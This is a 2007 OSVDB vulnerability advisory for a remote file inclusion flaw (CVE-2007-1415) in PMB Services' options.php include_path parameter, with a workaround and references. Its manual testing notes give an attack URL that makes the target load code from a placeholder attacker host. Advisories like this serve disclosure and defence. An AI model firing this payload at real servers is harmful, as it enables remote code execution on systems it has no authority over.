PMB Services includes/options_empr/options.php include_path Variable Remote File Inclusion

2007-03-10T01:00:37
ID OSVDB:35108
Type osvdb
Reporter M.Hasran Addahroni(eufrato@gmail.com)
Modified 2007-03-10T01:00:37

Description

Vulnerability Description

PMB Services contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the includes/options_empr/options.php script not properly sanitizing user input supplied to the 'include_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: turn the register_globals PHP option to 'off'.

Short Description

PMB Services contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the includes/options_empr/options.php script not properly sanitizing user input supplied to the 'include_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[PMB_path]/includes/options_empr/options.php?include_path=http://[attacker]/evil?

References:

Vendor URL: http://www.sigb.net/ Other Advisory URL: http://advisories.echo.or.id/adv/adv68-K-159-2007.txt Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-03/0101.html Keyword: ECHO_ADV_68$2007 ISS X-Force ID: 32890 Generic Exploit URL: http://www.milw0rm.com/exploits/3443 FrSIRT Advisory: ADV-2007-0917 CVE-2007-1415 Bugtraq ID: 22895